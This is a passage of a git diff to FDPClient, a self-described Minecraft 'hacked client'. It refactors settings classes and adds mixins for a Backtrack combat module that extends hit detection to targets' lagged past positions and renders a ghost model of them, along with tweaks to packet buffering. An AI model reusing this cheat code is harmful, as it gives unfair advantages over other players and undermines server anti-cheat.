with a string - */ -open class TextValue(name: String, value: String) : Value(name, value) { - override fun toJson() = JsonPrimitive(value) - - override fun fromJson(element: JsonElement) { - if (element.isJsonPrimitive) { - value = element.asString - } - - } - fun append(o: Any): TextValue { - set(get() + o) - return this - } - - } \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/Value.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/Value.kt deleted file mode 100644 index d36e860..0000000 --- a/src/main/java/net/ccbluex/liquidbounce/features/value/Value.kt +++ /dev/null @@ -1,119 +0,0 @@ -/* - * FDPClient Hacked Client - * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. - * https://github.com/SkidderMC/FDPClient - */ -package net.ccbluex.liquidbounce.features.value - -import com.google.gson.JsonElement -import com.google.gson.JsonPrimitive -import net.ccbluex.liquidbounce.FDPClient -import net.ccbluex.liquidbounce.utils.ClientUtils -import java.awt.Color -import kotlin.jvm.internal.Intrinsics - -abstract class Value(val name: String, var value: T) { - val default = value - var textHovered: Boolean = false - - private var displayableFunc: () -> Boolean = { true } - - fun displayable(func: () -> Boolean): Value { - displayableFunc = func - return this - } - - val displayable: Boolean - get() = displayableFunc() - - val displayableFunction: () -> Boolean - get() = displayableFunc - - fun set(newValue: T) { - if (newValue == value) return - - val oldValue = get() - - try { - onChange(oldValue, newValue) - changeValue(newValue) - onChanged(oldValue, newValue) - FDPClient.configManager.smartSave() - } catch (e: Exception) { - ClientUtils.logError("[ValueSystem ($name)]: ${e.javaClass.name} (${e.message}) [$oldValue >> $newValue]") - } - } - - - - fun get() = value - - fun setDefault() { - value = default - } - - open fun changeValue(value: T) { - this.value = value - } - - abstract fun toJson(): JsonElement? - abstract fun fromJson(element: JsonElement) - - protected open fun onChange(oldValue: T, newValue: T) {} - protected open fun onChanged(oldValue: T, newValue: T) {} - - // this is better api for ListValue and TextValue - - open class ColorValue(name: String, value: Int, canDisplay: () -> Boolean) : Value(name, value) { - val minimum: Int = -10000000 - val maximum: Int = 1000000 - fun set(newValue: Number) { - set(newValue.toInt()) - } - override fun toJson() = JsonPrimitive(value) - override fun fromJson(element: JsonElement) { - if (element.isJsonPrimitive) - value = element.asInt - } - } - - override fun equals(other: Any?): Boolean { - other ?: return false - if (value is String && other is String) { - return (value as String).equals(other, true) - } - return value?.equals(other) ?: false - } - - fun contains(text: String/*, ignoreCase: Boolean*/): Boolean { - return if (value is String) { - (value as String).contains(text, true) - } else { - false - } - } - - private var Expanded = false - - open fun getExpanded(): Boolean { - return Expanded - } - - open fun setExpanded(b: Boolean) { - this.Expanded - } - - open fun isExpanded(): Boolean { - return Expanded - } - - - open fun getAwtColor(): Color { - return Color((this as Value).value.toInt(), true) - } - - open fun ColorValue(name: String, value: Int) { - Intrinsics.checkParameterIsNotNull(name, "name") - ColorValue(name, value) - } -} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/value/Values.kt b/src/main/java/net/ccbluex/liquidbounce/features/value/Values.kt new file mode 100644 index 0000000..399072b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/value/Values.kt @@ -0,0 +1,407 @@ +package net.ccbluex.liquidbounce.features.value + +import com.google.gson.JsonElement +import com.google.gson.JsonObject +import com.google.gson.JsonPrimitive +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.AnimationHelper +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.minecraft.client.gui.FontRenderer +import java.awt.Color +import java.util.* +import kotlin.jvm.internal.Intrinsics +import kotlin.math.roundToInt + +abstract class Value(val name: String, var value: T) { + val default = value + var textHovered: Boolean = false + + private var displayableFunc: () -> Boolean = { true } + + fun displayable(func: () -> Boolean): Value { + displayableFunc = func + return this + } + + val displayable: Boolean + get() = displayableFunc() + + val displayableFunction: () -> Boolean + get() = displayableFunc + + fun set(newValue: T) { + if (newValue == value) return + + val oldValue = get() + + try { + onChange(oldValue, newValue) + changeValue(newValue) + onChanged(oldValue, newValue) + FDPClient.configManager.smartSave() + } catch (e: Exception) { + ClientUtils.logError("[ValueSystem ($name)]: ${e.javaClass.name} (${e.message}) [$oldValue >> $newValue]") + } + } + + + + fun get() = value + + fun setDefault() { + value = default + } + + open fun changeValue(value: T) { + this.value = value + } + + abstract fun toJson(): JsonElement? + abstract fun fromJson(element: JsonElement) + + protected open fun onChange(oldValue: T, newValue: T) {} + protected open fun onChanged(oldValue: T, newValue: T) {} + + // this is better api for ListValue and TextValue + + open class ColorValue(name: String, value: Int, canDisplay: () -> Boolean) : Value(name, value) { + val minimum: Int = -10000000 + val maximum: Int = 1000000 + fun set(newValue: Number) { + set(newValue.toInt()) + } + override fun toJson() = JsonPrimitive(value) + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) + value = element.asInt + } + } + + override fun equals(other: Any?): Boolean { + other ?: return false + if (value is String && other is String) { + return (value as String).equals(other, true) + } + return value?.equals(other) ?: false + } + + fun contains(text: String/*, ignoreCase: Boolean*/): Boolean { + return if (value is String) { + (value as String).contains(text, true) + } else { + false + } + } + + private var Expanded = false + + open fun getExpanded(): Boolean { + return Expanded + } + + open fun setExpanded(b: Boolean) { + this.Expanded + } + + open fun isExpanded(): Boolean { + return Expanded + } + + + open fun getAwtColor(): Color { + return Color((this as Value).value.toInt(), true) + } + + open fun ColorValue(name: String, value: Int) { + Intrinsics.checkParameterIsNotNull(name, "name") + ColorValue(name, value) + } +} + +/** + * Text value represents a value with a string + */ +open class TextValue(name: String, value: String) : Value(name, value) { + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) { + value = element.asString + } + + } + fun append(o: Any): TextValue { + set(get() + o) + return this + } + +} + +open class NumberValue(name: String, value: Double, val minimum: Double = 0.0, val maximum: Double = Double.MAX_VALUE,val inc: Double/* = 1.0*/) + : Value(name, value) { + + fun set(newValue: Number) { + set(newValue.toDouble()) + } + + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) + value = element.asDouble + } + open fun getDouble(): Double { + return ((this.get() as Number).toDouble() / this.inc).roundToInt() * this.inc + } + + fun append(o: Double): NumberValue { + set(get() + o) + return this + } +} + +/** + * List value represents a selectable list of values + */ +open class ListValue(name: String, val values: Array, value: String) : Value(name, value) { + @JvmField + var openList = false + + @JvmField + var isShown = false + + var anim=0 + + @JvmField + var open=true + + init { + this.value = value + } + + fun listtoggle(){ + openList=!openList; + } + + fun getModeListNumber(mode: String) = values.indexOf(mode) + init { + this.value = value + } + + fun containsValue(string: String): Boolean { + return Arrays.stream(values).anyMatch { it.equals(string, ignoreCase = true) } + } + + override fun changeValue(value: String) { + for (element in values) { + if (element.equals(value, ignoreCase = true)) { + this.value = element + break + } + } + } + + open fun getModes() : List { + return this.values.toList() + } + + open fun getModeGet(i: Int): String { + return values[i] + } + + fun isMode(string: String): Boolean { + return this.value.equals(string, ignoreCase = true) + } + + fun indexOf(mode: String): Int { + for (i in values.indices) { + if (values[i].equals(mode, true)) return i + } + return 0 + } + + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) changeValue(element.asString) + } +} + +/** + * Integer value represents a value with a integer + */ +//open class IntegerValue(name: String, value: Int, val minimum: Int = 0, val maximum: Int = Integer.MAX_VALUE) : Value(name, value) { + +open class IntegerValue(name: String, value: Int, val minimum: Int = 0, val maximum: Int = Integer.MAX_VALUE, val suffix: String, displayable: () -> Boolean) + : Value(name, value) { + + constructor(name: String, value: Int, minimum: Int, maximum: Int, displayable: () -> Boolean): this(name, value, minimum, maximum, "", displayable) + constructor(name: String, value: Int, minimum: Int, maximum: Int, suffix: String): this(name, value, minimum, maximum, suffix, { true } ) + constructor(name: String, value: Int, minimum: Int, maximum: Int): this(name, value, minimum, maximum, { true } ) + + + + fun set(newValue: Number) { + set(newValue.toInt()) + } + + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) { + value = element.asInt + } + } +} + +/** + * Block value represents a value with a block + */ +class BlockValue(name: String, value: Int) : IntegerValue(name, value, 1, 197) + +/** + * Bool value represents a value with a boolean + */ +open class BoolValue(name: String, value: Boolean) : Value(name, value) { + + val animation = AnimationHelper(this) + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) { + value = element.asBoolean || element.asString.equals("true", ignoreCase = true) + } + } + init { + animation.animationX = if (value) 5F else -5F + } + open fun toggle(){ + this.value = !this.value + } + +} + +/** + * Float value represents a value with a float + */ +open class FloatValue(name: String, value: Float, val minimum: Float = 0F, val maximum: Float = Float.MAX_VALUE, val suffix: String, displayable: () -> Boolean) + : Value(name, value) { + + constructor(name: String, value: Float, minimum: Float, maximum: Float, displayable: () -> Boolean): this(name, value, minimum, maximum, "", displayable) + constructor(name: String, value: Float, minimum: Float, maximum: Float, suffix: String): this(name, value, minimum, maximum, suffix, { true } ) + constructor(name: String, value: Float, minimum: Float, maximum: Float): this(name, value, minimum, maximum, { true } ) + fun set(newValue: Number) { + set(newValue.toFloat()) + } + + override fun toJson() = JsonPrimitive(value) + + override fun fromJson(element: JsonElement) { + if (element.isJsonPrimitive) { + value = element.asFloat + } + } +} + +open class ColorValue(name : String, value: Int) : Value(name, value) { + open fun getValue(): Int { + return super.get() + } + + fun set(newValue: Number) { + set(newValue.toInt()) + } + + + override fun toJson() = JsonPrimitive(getValue()) + + override fun fromJson(element: JsonElement) { + if(element.isJsonPrimitive) + value = element.asInt + } + + open fun getHSB(): FloatArray { + val hsbValues = FloatArray(3) + val saturation: Float + val brightness: Float + var hue: Float + var cMax: Int = (getValue() ushr 16 and 0xFF).coerceAtLeast(getValue() ushr 8 and 0xFF) + if (getValue() and 0xFF > cMax) cMax = getValue() and 0xFF + var cMin: Int = (getValue() ushr 16 and 0xFF).coerceAtMost(getValue() ushr 8 and 0xFF) + if (getValue() and 0xFF < cMin) cMin = getValue() and 0xFF + brightness = cMax.toFloat() / 255.0f + saturation = if (cMax != 0) (cMax - cMin).toFloat() / cMax.toFloat() else 0F + if (saturation == 0f) { + hue = 0f + } else { + val redC: Float = (cMax - (getValue() ushr 16 and 0xFF)).toFloat() / (cMax - cMin).toFloat() + // @off + val greenC: Float = (cMax - (getValue() ushr 8 and 0xFF)).toFloat() / (cMax - cMin).toFloat() + val blueC: Float = (cMax - (getValue() and 0xFF)).toFloat() / (cMax - cMin).toFloat() // @on + hue = + (if (getValue() ushr 16 and 0xFF == cMax) blueC - greenC else if (getValue() ushr 8 and 0xFF == cMax) 2.0f + redC - blueC else 4.0f + greenC - redC) / 6.0f + if (hue < 0) hue += 1.0f + } + hsbValues[0] = hue + hsbValues[1] = saturation + hsbValues[2] = brightness + return hsbValues + } + + +} + +class FontValue(valueName: String, value: FontRenderer) : Value(valueName, value) { + + private val cache: MutableList> = mutableListOf() + private fun updateCache() { + cache.clear() + for (fontOfFonts in Fonts.getFonts()) { + val details = Fonts.getFontDetails(fontOfFonts) ?: continue + val name = details[0].toString() + val size = details[1].toString().toInt() + val format = "$name $size" + + cache.add(format to fontOfFonts) + } + + cache.sortBy { it.first } + } + private fun getAllFontDetails(): Array> { + if (cache.size == 0) updateCache() + + return cache.toTypedArray() + } + override fun toJson(): JsonElement { + val fontDetails = Fonts.getFontDetails(value) + val valueObject = JsonObject() + valueObject.addProperty("fontName", fontDetails[0] as String) + valueObject.addProperty("fontSize", fontDetails[1] as Int) + return valueObject + } + + override fun fromJson(element: JsonElement) { + if (!element.isJsonObject) return + val valueObject = element.asJsonObject + value = Fonts.getFontRenderer(valueObject["fontName"].asString, valueObject["fontSize"].asInt) + } + + fun set(name: String): Boolean { + if (name.equals("Minecraft", true)) { + set(Fonts.minecraftFont) + return true + } else if (name.contains(" - ")) { + val spiced = name.split(" - ") + set(Fonts.getFontRenderer(spiced[0], spiced[1].toInt()) ?: return false) + return true + } + return false + } + val values + get() = getAllFontDetails().map { it.second } + + fun setByName(name: String) { + set((getAllFontDetails().find { it.first.equals(name, true)} ?: return).second ) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntity.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntity.java index 672f6fa..6e2e5bb 100644 --- a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntity.java +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntity.java @@ -24,6 +24,8 @@ import net.minecraft.util.MathHelper; import net.minecraft.util.Vec3; import net.minecraft.world.World; +import net.minecraftforge.fml.relauncher.Side; +import net.minecraftforge.fml.relauncher.SideOnly; import org.spongepowered.asm.mixin.Mixin; import org.spongepowered.asm.mixin.Shadow; import org.spongepowered.asm.mixin.injection.At; @@ -35,6 +37,7 @@ import java.util.UUID; @Mixin(Entity.class) +@SideOnly(Side.CLIENT) public abstract class MixinEntity implements IMixinEntity { @Shadow @@ -182,6 +185,48 @@ public int getFire() { return fire; } + private double trueX; + + private double lerpX; + private double lerpY; + private double lerpZ; + + public double getTrueX() { + return trueX; + } + + public void setTrueX(double x) {trueX = x;} + + private double trueY; + + public double getTrueY() { + return trueY; + } + + public void setTrueY(double y) { + trueY = y; + } + + private double trueZ; + + public double getTrueZ() { + return trueZ; + } + + public void setTrueZ(double z) { + trueZ = z; + } + + private boolean truePos; + + public boolean getTruePos() { + return truePos; + } + + public void setTruePos(boolean set) { + truePos = set; + } + @Inject(method = "moveFlying", at = @At("HEAD"), cancellable = true) private void handleRotations(float strafe, float forward, float friction, final CallbackInfo callbackInfo) { if ((Object) this != Minecraft.getMinecraft().thePlayer) @@ -246,4 +291,34 @@ public void getBrightness(float f, CallbackInfoReturnable callbackInfoRet callbackInfoReturnable.setReturnValue(world.isBlockLoaded(n3, n2 = MathHelper.floor_double(this.posY + (double) this.getEyeHeight()), n = MathHelper.floor_double(this.posZ)) ? world.getLightBrightness(n3, n2, n) : 0.0f); } } + + @Override + public double getLerpX() { + return lerpX; + } + + @Override + public void setLerpX(double lerpX) { + this.lerpX = lerpX; + } + + @Override + public double getLerpY() { + return lerpY; + } + + @Override + public void setLerpY(double lerpY) { + this.lerpY = lerpY; + } + + @Override + public double getLerpZ() { + return lerpZ; + } + + @Override + public void setLerpZ(double lerpZ) { + this.lerpZ = lerpZ; + } } \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java index 0ee91c8..a0b3c4a 100644 --- a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java @@ -7,9 +7,7 @@ import io.netty.buffer.Unpooled; import net.ccbluex.liquidbounce.FDPClient; -import net.ccbluex.liquidbounce.event.EntityDamageEvent; -import net.ccbluex.liquidbounce.event.EventState; -import net.ccbluex.liquidbounce.event.PacketEvent; +import net.ccbluex.liquidbounce.event.*; import net.ccbluex.liquidbounce.features.module.modules.exploit.PackSpoofer; import net.ccbluex.liquidbounce.features.module.modules.other.NoRotateSet; import net.ccbluex.liquidbounce.features.module.modules.other.SilentDisconnect; @@ -126,6 +124,14 @@ private void handleResourcePack(final S48PacketResourcePackSend p_handleResource } } + @Inject(method = "handleEntityMovement", at = @At(value = "FIELD", target = "Lnet/minecraft/entity/Entity;onGround:Z")) + private void handleEntityMovementEvent(S14PacketEntity packetIn, final CallbackInfo callbackInfo) { + final Entity entity = packetIn.getEntity(clientWorldController); + + if (entity != null) + FDPClient.eventManager.callEvent(new EntityMovementEvent(entity)); + } + @Inject(method = "handleEntityStatus", at = @At("HEAD")) public void handleDamagePacket(S19PacketEntityStatus packetIn, CallbackInfo callbackInfo) { diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java index 9c1af90..24b69a9 100644 --- a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java @@ -1,95 +1,43 @@ /* - * LiquidBounce+ Hacked Client + * LiquidBounce Hacked Client * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge. - * https://github.com/WYSI-Foundation/LiquidBouncePlus/ + * https://github.com/CCBlueX/LiquidBounce/ */ package net.ccbluex.liquidbounce.injection.forge.mixins.network; -import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import net.ccbluex.liquidbounce.FDPClient; import net.ccbluex.liquidbounce.event.EventState; import net.ccbluex.liquidbounce.event.PacketEvent; -import net.ccbluex.liquidbounce.features.module.modules.client.Animations; -import net.ccbluex.liquidbounce.features.module.modules.combat.BackTrack; -import net.ccbluex.liquidbounce.utils.PacketUtils; -import net.minecraft.network.INetHandler; import net.minecraft.network.NetworkManager; import net.minecraft.network.Packet; -import net.minecraft.network.ThreadQuickExitException; import org.spongepowered.asm.mixin.Mixin; -import org.spongepowered.asm.mixin.Overwrite; -import org.spongepowered.asm.mixin.Shadow; import org.spongepowered.asm.mixin.injection.At; import org.spongepowered.asm.mixin.injection.Inject; import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; -import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; @Mixin(NetworkManager.class) public class MixinNetworkManager { - @Shadow - private Channel channel; - - @Shadow - private INetHandler packetListener; - - /** - * @author XeBest - * @reason BackTrackFix - */ - @Overwrite - protected void channelRead0(ChannelHandlerContext p_channelRead0_1_, Packet p_channelRead0_2_) { - final PacketEvent event = new PacketEvent(p_channelRead0_2_, EventState.RECEIVE); - BackTrack backTrack = FDPClient.moduleManager.getModule(BackTrack.class); - assert backTrack != null; - if (backTrack.getState()) { - try { - backTrack.onPacket(event); - } catch (Exception e) { - //Minecraft.logger.error("Exception caught in BackTrack", e); - } - } + @Inject(method = "channelRead0", at = @At("HEAD"), cancellable = true) + private void read(ChannelHandlerContext context, Packet packet, CallbackInfo callback) { + final PacketEvent event = new PacketEvent(packet, EventState.RECEIVE); FDPClient.eventManager.callEvent(event); - if (event.isCancelled()) + if (event.isCancelled()) { + callback.cancel(); return; - if (this.channel.isOpen()) { - try { - p_channelRead0_2_.processPacket(this.packetListener); - } catch (ThreadQuickExitException var4) { - } } - } @Inject(method = "sendPacket(Lnet/minecraft/network/Packet;)V", at = @At("HEAD"), cancellable = true) private void send(Packet packet, CallbackInfo callback) { - if (PacketUtils.handleSendPacket(packet)) return; final PacketEvent event = new PacketEvent(packet, EventState.SEND); - BackTrack backTrack = FDPClient.moduleManager.getModule(BackTrack.class); - assert backTrack != null; - if (backTrack.getState()) { - try { - backTrack.onPacket(event); - } catch (Exception e) { - //Minecraft.logger.error("Exception caught in BackTrack", e); - } - } FDPClient.eventManager.callEvent(event); if (event.isCancelled()) { callback.cancel(); + return; } } - - /** - * show player head in tab bar - */ - @Inject(method = "getIsencrypted", at = @At("HEAD"), cancellable = true) - private void getIsencrypted(CallbackInfoReturnable cir) { - if (Animations.INSTANCE.getFlagRenderTabOverlay()) { - cir.setReturnValue(true); - } - } -} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEntityRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEntityRenderer.java index 1aa8cf7..dc12ffb 100644 --- a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEntityRenderer.java +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEntityRenderer.java @@ -9,6 +9,7 @@ import net.ccbluex.liquidbounce.FDPClient; import net.ccbluex.liquidbounce.event.Render3DEvent; import net.ccbluex.liquidbounce.features.module.modules.client.HurtCam; +import net.ccbluex.liquidbounce.features.module.modules.combat.Backtrack; import net.ccbluex.liquidbounce.features.module.modules.combat.Reach; import net.ccbluex.liquidbounce.features.module.modules.visual.CameraModule; import net.ccbluex.liquidbounce.features.module.modules.world.Ambience; @@ -319,6 +320,11 @@ public void getMouseOver(float p_getMouseOver_1_) { final ArrayList boxes = new ArrayList<>(); boxes.add(entity1.getEntityBoundingBox().expand(f1, f1, f1)); + Backtrack.INSTANCE.loopThroughBacktrackData(entity1, () -> { + boxes.add(entity1.getEntityBoundingBox().expand(f1, f1, f1)); + return false; + }); + for (final AxisAlignedBB axisalignedbb : boxes) { MovingObjectPosition movingobjectposition = axisalignedbb.calculateIntercept(vec3, vec32); if (axisalignedbb.isVecInside(vec3)) { diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderManager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderManager.java index deb1a61..b9452c1 100644 --- a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderManager.java +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderManager.java @@ -5,16 +5,43 @@ */ package net.ccbluex.liquidbounce.injection.forge.mixins.render; +import net.ccbluex.liquidbounce.features.module.modules.combat.Backtrack; +import net.ccbluex.liquidbounce.injection.implementations.IMixinEntity; +import net.ccbluex.liquidbounce.utils.PacketUtils; +import net.ccbluex.liquidbounce.utils.PacketUtilsKt; import net.ccbluex.liquidbounce.utils.RotationUtils; +import net.minecraft.client.entity.EntityPlayerSP; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.OpenGlHelper; import net.minecraft.client.renderer.entity.RenderManager; +import net.minecraft.entity.Entity; +import net.minecraft.entity.EntityLivingBase; +import net.minecraftforge.fml.relauncher.Side; +import net.minecraftforge.fml.relauncher.SideOnly; import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; import org.spongepowered.asm.mixin.injection.Redirect; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; import static org.objectweb.asm.Opcodes.PUTFIELD; @Mixin(RenderManager.class) -public class MixinRenderManager { +@SideOnly(Side.CLIENT) +public abstract class MixinRenderManager { + + @Shadow + public abstract boolean doRenderEntity(Entity p_doRenderEntity_1_, double p_doRenderEntity_2_, double p_doRenderEntity_4_, double p_doRenderEntity_4_2, float p_doRenderEntity_6_, float p_doRenderEntity_6_2, boolean p_doRenderEntity_8_); + + @Shadow + public double renderPosX; + + @Shadow + public double renderPosY; + + @Shadow + public double renderPosZ; @Redirect(method = "cacheActiveRenderInfo", at = @At(value = "FIELD", target = "Lnet/minecraft/client/renderer/entity/RenderManager;playerViewX:F", opcode = PUTFIELD)) public void getPlayerViewX(RenderManager renderManager, float value) { @@ -25,4 +52,51 @@ public void getPlayerViewX(RenderManager renderManager, float value) { public void getPlayerViewY(RenderManager renderManager, float value) { renderManager.playerViewY = RotationUtils.perspectiveToggled ? RotationUtils.cameraYaw : value; } + + @Inject(method = "renderEntityStatic", at = @At(value = "HEAD")) + private void renderEntityStatic(Entity entity, float tickDelta, boolean bool, CallbackInfoReturnable cir) { + + if (entity instanceof EntityPlayerSP) + return; + + if (entity instanceof EntityLivingBase) { + IMixinEntity iEntity = (IMixinEntity) entity; + + if (iEntity.getTruePos()) { + PacketUtilsKt.interpolatePosition(iEntity); + } + } + + Backtrack backtrack = Backtrack.INSTANCE; + IMixinEntity targetEntity = (IMixinEntity) backtrack.getTarget(); + + boolean shouldBacktrackRenderEntity = backtrack.handleEvents() && backtrack.getShouldRender() + && backtrack.shouldBacktrack() && backtrack.getTarget() == entity; + + if (backtrack.getEspMode().equals("Model")) { + if (shouldBacktrackRenderEntity && targetEntity != null && targetEntity.getTruePos()) { + if (entity.ticksExisted == 0) { + entity.lastTickPosX = entity.posX; + entity.lastTickPosY = entity.posY; + entity.lastTickPosZ = entity.posZ; + } + + double d0 = targetEntity.getLerpX(); + double d1 = targetEntity.getLerpY(); + double d2 = targetEntity.getLerpZ(); + float f = entity.prevRotationYaw + (entity.rotationYaw - entity.prevRotationYaw) * tickDelta; + int i = entity.getBrightnessForRender(tickDelta); + if (entity.isBurning()) { + i = 15728880; + } + + int j = i % 65536; + int k = i / 65536; + OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, (float) j, (float) k); + // Darker color to differentiate fake player & real player. + GlStateManager.color(0.5F, 0.5F, 0.5F, 1.0F); + this.doRenderEntity(entity, d0 - this.renderPosX, d1 - this.renderPosY, d2 - this.renderPosZ, f, tickDelta, bool); + } + } + } } \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/implementations/IMixinEntity.kt b/src/main/java/net/ccbluex/liquidbounce/injection/implementations/IMixinEntity.kt index de3fb70..f759d9d 100644 --- a/src/main/java/net/ccbluex/liquidbounce/injection/implementations/IMixinEntity.kt +++ b/src/main/java/net/ccbluex/liquidbounce/injection/implementations/IMixinEntity.kt @@ -6,6 +6,9 @@ package net.ccbluex.liquidbounce.injection.implementations interface IMixinEntity { + var lerpX: Double + var lerpY: Double + var lerpZ: Double var trueX: Double var trueY: Double var trueZ: Double diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/RenderUtil.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/RenderUtil.java index dfa1398..602d350 100644 --- a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/RenderUtil.java +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/RenderUtil.java @@ -441,16 +441,6 @@ private static void drawESPImage(ResourceLocation resource, double x, double y, tessellator.draw(); GlStateManager.depthMask(true); GlStateManager.shadeModel(7424); - glEnd(); - - glShadeModel(GL_FLAT); - glDepthMask(true); - glEnable(GL_DEPTH_TEST); - GlStateManager.enableCull(); - glDisable(GL_LINE_SMOOTH); - glEnable(GL_TEXTURE_2D); - glPopMatrix(); - glColor4f(1f, 1f, 1f, 1f); } } diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/BlinkUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/BlinkUtils.kt index 3c8d2e8..fee92ec 100644 --- a/src/main/java/net/ccbluex/liquidbounce/utils/BlinkUtils.kt +++ b/src/main/java/net/ccbluex/liquidbounce/utils/BlinkUtils.kt @@ -50,7 +50,7 @@ object BlinkUtils : MinecraftInstance() { for (packets in playerBuffer) { val packetID = BigInteger(packets.javaClass.simpleName.substring(1..2), 16).toInt() if (packetToggleStat[packetID] || !onlySelected) { - PacketUtils.sendPacketNoEvent(packets) + PacketUtils.sendPacket(packets,false) } } } @@ -63,7 +63,7 @@ object BlinkUtils : MinecraftInstance() { } } while(tempBuffer.size > minBuff && (count < amount || amount <= 0)) { - PacketUtils.sendPacketNoEvent(tempBuffer.pop()) + PacketUtils.sendPacket(tempBuffer.pop(),false) count++ } } diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/PacketUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/PacketUtils.kt index 3a61c07..049725d 100644 --- a/src/main/java/net/ccbluex/liquidbounce/utils/PacketUtils.kt +++ b/src/main/java/net/ccbluex/liquidbounce/utils/PacketUtils.kt @@ -1,7 +1,7 @@ /* - * FDPClient Hacked Client - * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. - * https://github.com/SkidderMC/FDPClient/ + * LiquidBounce Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge. + * https://github.com/CCBlueX/LiquidBounce/ */ package net.ccbluex.liquidbounce.utils @@ -9,30 +9,20 @@ import net.ccbluex.liquidbounce.event.* import net.ccbluex.liquidbounce.features.module.modules.combat.FakeLag import net.ccbluex.liquidbounce.features.module.modules.combat.Velocity import net.ccbluex.liquidbounce.injection.implementations.IMixinEntity +import net.ccbluex.liquidbounce.utils.extensions.* +import net.ccbluex.liquidbounce.utils.render.RenderUtils import net.minecraft.entity.EntityLivingBase import net.minecraft.network.NetworkManager import net.minecraft.network.Packet import net.minecraft.network.play.INetHandlerPlayClient -import net.minecraft.network.play.INetHandlerPlayServer import net.minecraft.network.play.client.C03PacketPlayer import net.minecraft.network.play.server.* +import net.minecraft.util.Vec3 +import kotlin.math.roundToInt object PacketUtils : MinecraftInstance(), Listenable { - val packets = ArrayList>() - val queuedPackets = mutableListOf>() - - @JvmStatic - fun handleSendPacket(packet: Packet<*>): Boolean { - if (packets.contains(packet)) { - packets.remove(packet) - return true - } - return false - } - @JvmStatic - fun sendPackets(vararg packets: Packet<*>, triggerEvents: Boolean = true) = - packets.forEach { sendPacket(it, triggerEvents) } + val queuedPackets = mutableListOf>() @EventTarget(priority = 2) fun onTick(event: GameTickEvent) { @@ -40,10 +30,7 @@ object PacketUtils : MinecraftInstance(), Listenable { if (entity is EntityLivingBase) { (entity as? IMixinEntity)?.apply { if (!truePos) { - trueX = entity.posX - trueY = entity.posY - trueZ = entity.posZ - truePos = true + updateSpawnPosition(entity.currPos) } } } @@ -56,21 +43,13 @@ object PacketUtils : MinecraftInstance(), Listenable { val world = mc.theWorld ?: return when (packet) { - is S0CPacketSpawnPlayer -> - (world.getEntityByID(packet.entityID) as? IMixinEntity)?.apply { - trueX = packet.realX - trueY = packet.realY - trueZ = packet.realZ - truePos = true - } + is S0CPacketSpawnPlayer -> (world.getEntityByID(packet.entityID) 